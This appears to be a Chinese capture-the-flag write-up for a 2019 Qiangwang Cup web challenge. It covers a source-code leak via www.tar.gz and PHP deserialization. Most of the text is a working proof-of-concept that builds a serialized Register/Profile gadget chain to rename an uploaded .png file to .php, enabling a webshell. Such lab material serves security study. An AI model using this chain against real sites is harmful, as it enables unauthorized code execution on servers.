题目复现链接:https://buuoj.cn/challenges
参考链接:2019 第三届强网杯 Web 部分 WriteUp + 复现环境

一、知识点

1、源码泄露

www.tar.gz

2、php反序列化

看起来文件很大,但是用phpstorm打开的话会发现默认打开的文件里有两个断点,其实是给的hint,指出了反序列化利用的地方。之后常规的反序列化利用,不是很难。

唯一要注意的是序列化会把命名空间序列化进去,所以poc在这个地方必须要加namespace app\web\controller;

<?php

namespace app\web\controller;
class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {

    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

class Register
{
    public $checker;
    public $registed;

    public function __construct()
    {
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }
}

$b = new Profile();
$b->except = array('index'=>'img');
$b->img = "upload_img";
$b->ext = true;
$b->filename = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.php";
$b->filename_tmp = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.png";

$a = new Register();
$a->registed = false;
$a->checker = $b;
echo urlencode(base64_encode(serialize($a)));

相关文章:

  • 2021-05-20
  • 2022-12-23
  • 2022-12-23
  • 2021-09-07
  • 2021-10-09
  • 2021-09-16
  • 2021-09-05
  • 2022-03-04
猜你喜欢
  • 2021-11-27
  • 2021-06-21
  • 2021-09-10
  • 2021-11-12
  • 2021-06-23
  • 2022-02-09
  • 2021-08-27
相关资源
相似解决方案